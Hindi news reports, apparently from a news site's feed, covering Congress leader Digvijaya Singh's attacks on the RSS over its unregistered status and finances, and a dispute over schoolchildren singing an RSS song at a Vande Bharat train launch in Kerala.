आपने यह भी कहा है कि इनकम टैक्स ने आरएसएस को टैक्स से मुक्त कर दिया है। जब आपकी संस्था ही पंजीकृत नहीं हैं उसका कोई अकाउंट ही नहीं है तो फिर किस बात पर आपको टैक्स से मुक्ति दी है। आपने कहा कि हमें तो न्यायालय ने हमें इस मामले में मान्यता दी हुई है। कैसे मान्यता दे दी? कौन से जज ने दे दी और कौन से कोर्ट ने दी है? मैं यह जानना चाहता हूं।

आजादी के पहले और बाद में भी पंजीयन नहीं कराया दिग्विजय सिंह ने बताया कि आपने (मोहन भागवत) कहा है कि 1925 में कोई कानून नहीं था, जिसमें हम पंजीकृत करवाते और ब्रिटिश हुकूमत थी। ब्रिटिश हुकूमत का हम साथ नहीं देना चाहते थे। मोहन भागवत जी, मैं बड़ी विनम्रता से कहना चाहता हूं कि हेडगेवार साहब ने जंगल सत्याग्रह में भाग लिया था। वे जेल भी गए थे। लेकिन, उसके बाद पूरे संघ ने अपने पूरे कार्यकर्ताओं से कहा था कि आपको ब्रिटिश हुकूमत का साथ देना है। द्वितीय विश्वयुद्ध में कहा था कि आपको ब्रिटिश आर्मी में भर्ती होना चाहिए। क्या आपकी यही राष्ट्रभक्ति थी?

1925 में कई संगठन रजिस्टर्ड हुए, RSS ने पंजीयन नहीं कराया दिग्विजय सिंह ने कहा- 1860 में सोसाइटी रजिस्ट्रेशन एक्ट आ गया था। हर संस्था को पंजीकृत होना जरूरी था। उस समय ब्रह्म समाज, आर्य समाज, रामकृष्ण मिशन, अखिल विश्व गायत्री सहित तमाम समाज संगठन रजिस्टर्ड हुए। लेकिन, आरएसएस 1925 में पंजीकृत नहीं हुआ। आपने न तो तब का कानून माना और न आजादी के बाद का कानून माना।

संघ पर PMLA के तहत कार्रवाई हो दिग्विजय सिंह ने कहा- मैंने वित्त मंत्री को 2021 में एक पत्र लिखा था। कोविड काल के समय पर RSS के ऑफिशियल हैंडल पर यह कहा था कि हमने कोविड के समय पर 7 करोड़ रुपए खर्च किए।

तब मैंने उसका उल्लेख करते हुए मांग की थी कि इसको आप संज्ञान में लेते हुए इन पर आप प्रिवेंशन ऑफ मनी लॉन्ड्रिंग एक्ट लगाइए कि यह इनका काला धन है। जब इनका कोई अकाउंट नहीं है तो कौन से अकाउंट से इन्होंने पैसा निकाल कर खर्च किया? उसका जवाब मुझे आज तक नहीं मिल पाया है।

पीएम कहते हैं कि संघ सबसे बड़ा एनजीओ पूर्व सीएम ने कहा- मैं राज्यसभा में भी जब प्रश्न पूछता हूं तो उसका उत्तर नहीं मिल पाता है। राष्ट्रीय स्वयंसेवक संघ को प्रधानमंत्री जी लाल किले से कहते हैं कि यह सबसे बड़ा NGO है। ये ऐसा NGO है जो अपनी तुलना धर्म से करता है। ऐसा NGO है जिसका पंजीकरण नहीं है। जिसकी सदस्यता नहीं है। जिसका अकाउंट नहीं है। सबसे बड़ा संगठन और एनजीओ है।

नाथूराम गोडसे संघ का कार्यकर्ता था दिग्विजय ने कहा- नाथूराम गोडसे के लिए कह दिया कि वह हमारा मैंबर नहीं है। नाथूराम गोडसे ने महात्मा गांधी की हत्या की थी तो लोगों ने आरोप लगाया कि यह आरएसएस का कार्यकर्ता था और यह सही आरोप लगाया क्योंकि नाथूराम गोडसे के भाई ने भी यह बात स्वीकार की थी कि वह RSS के कार्यकर्ता है। जब सदस्यता ही नहीं होगी तो मालूम कैसे चलेगा इस देश के कानून का पालन RSS पर नहीं हो सकता।

जब तक रजिस्ट्रेशन नहीं है तो कौन से कानून का पालन आप करेंगे कौन से लेकिन के अंतर्गत इन पर कार्रवाई की जाएगी।

पूर्व सीएम ने कहा कि कोई भी अगर अपराध करता है तो कहते हैं हमारा सदस्य नहीं है। आतंकवादी गतिविधियों में कोई भी शामिल हो जाता है आईएसआई के लिए कोई भी जासूसी करते पकड़ा जाता है और कहते हैं यह हमारा सदस्य नहीं है।

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वंदेभारत लॉन्च पर RSS गीत पर बच्चों ने जताया समर्थन, स्कूल प्रिंसिपल ने कहा – यह है देशभक्ति गीत https://pratyushaashakinayikiran.com/?p=190429 Mon, 10 Nov 2025 07:47:00 +0000 https://pratyushaashakinayikiran.com/?p=190429 बेंगलुरु
एर्नाकुलम-बेंगलुरु वंदे भारत एक्सप्रेस के उद्घाटन के मौके पर स्कूल के छात्रों द्वारा आरएसएस गीत गाने को लेकर विवाद बढ़ता ही जा रहा है। केरल की पिनारायी विजयन की सरकार इस मामले को लेकर सख्त है आर जांच के आदेश जारी कर दिए हैं। इसी बीच स्कूल के प्रिंसिपल बच्चों के समर्थन में आ गए हैं। उन्होंने कहा कि दक्षिण रेलवे या फिर किसी केंद्रीय मंत्री के इशारे पर यह 'देशभक्ति गीत' नहीं गाया गया था।

सरस्वती विद्यानिकेतन पब्लिक स्कूल एलामक्कारा के प्रधानाचार्य डिंटो केपी ने कहा कि यह एक देशभक्ति गीत था। उन्होंने कहा कि स्कूल के छात्रों ने खुद इस गीत का चयन किया था। उन्होंने यह बात भी मानी है कि दक्षिण रेलवे के एक्स हैंडल से गीत का वीडियो हटाए जाने के बाद स्कूल प्रशासन ने प्रधानमंत्री कार्यालय और रेल मंत्री को पत्र लिखा था।

उन्होंने कहा, मुझे नहीं पता कि आखिर राज्य सरकार ने इस मामले में जांच के आदेश क्यों दिए हैं। हम इसका कानूनी उपचार सोचेंगे। प्रिंसिपल ने कहा कि जिन बच्चों ने गीत गाया उनपर साइबर अटैक हो रहे हैं और उन्हें 'संघी किड्स' कहकर परेशान किया जा रहा है। सोशल मीडिया पर भी उन्हें परेशान किया जा रहा है।

बता दें कि एर्नाकुलम से बेंगलुरु जाने वाली वंदे भारत एक्सप्रेस के उद्घाटन के बाद ट्रेन में स्कूली छात्रों से राष्ट्रीय स्वयंसेवक संघ (आरएसएस) के गीत गाया था। केंद्रीय मंत्रियों ने इस घटना को उचित ठहराते हुए कहा कि यह एक देशभक्ति गीत है। वहीं केरल सरकार ने जांच के आदेश दे दिए। विपक्षी दल कांग्रेस ने इस घटना की कड़ी निंदा की और बच्चों को “सांप्रदायिक उद्देश्य” के लिए इस्तेमाल करने की अनुमति देने के लिए स्कूल अधिकारियों के खिलाफ कार्रवाई की मांग की। हालांकि, स्कूल प्रबंधन ने बच्चों द्वारा इस विशेष गीत के गायन का पुरजोर बचाव करते हुए कहा कि इसका संदेश “अनेकता में एकता” है। उन्होंने यह भी जानना चाहा कि इसमें सांप्रदायिकता की क्या बात है।

दक्षिण रेलवे ने छात्रों द्वारा गाए गए गीत का वीडियो और उसका अंग्रेजी अनुवाद रविवार को सोशल मीडिया मंच ‘एक्स’ पर फिर से पोस्ट किया और लिखा, ‘‘सरस्वती विद्यालय के छात्रों ने एर्नाकुलम बेंगलुरु वंदे भारत एक्सप्रेस के उद्घाटन के दौरान अपने स्कूल गीत की शानदार प्रस्तुति दी।’’

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